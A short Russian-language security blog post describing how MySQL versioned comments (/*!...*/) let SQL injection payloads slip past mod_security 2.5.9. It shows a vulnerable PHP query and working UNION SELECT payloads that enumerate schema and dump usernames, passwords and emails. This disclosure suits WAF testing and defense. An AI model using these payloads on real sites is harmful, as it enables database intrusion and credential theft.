Еще один красивый способ эксплуатации SQL Injection в обход WAF

Метод, который попал мне сегодня на глаза в документации MySQL, поражает своей простотой и тем, что я не замечал его раньше. Раскопанный способ по обходу WAF заключается в следующем. Сервер MySQL позволяет использовать комментарии вида:

/*!sql-code*/ и /*!12345sql-code*/

Как можно догадаться, и в том, и в другом случае sql-code будет выполнен из комментария! Во втором случае конструкция означает, что нужно выполнить "sql-code", если версия СУБД больше этого цифрового значения.


Как я уже неоднократно утверждал [1,2], некоторыми WAF’ами комментарии в процессе сигнатурного поиска игнорируются. К таким WAF, в том числе относиться и mod_security последней стабильной сборки (v. 2.5.9).

Простой пример:

...
$query = "SELECT name FROM table where id = ".$_GET[id];

$result = mysql_query($query);
...

Если Web-приложение защищено Mod_Security, то такой запрос не пройдет:

/?id=1+union+select+1

Примечательно, что даже такие (некорректные в данном примере) запросы блокируются WAF (техники HPP/HPF):

/?id=1+union/*&id=*/select+table_name+from+information_schema.columns

/?id=1+union/*&blabla1=*/select+table_name&blabla2=from+information_schema.columns


А вот воспользовавшись методом с комментариями, можно эксплуатировать SQL Injection, абсолютно прозрачно для фильтров Mod_Security:

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/

Собственно, метод в копилку :-)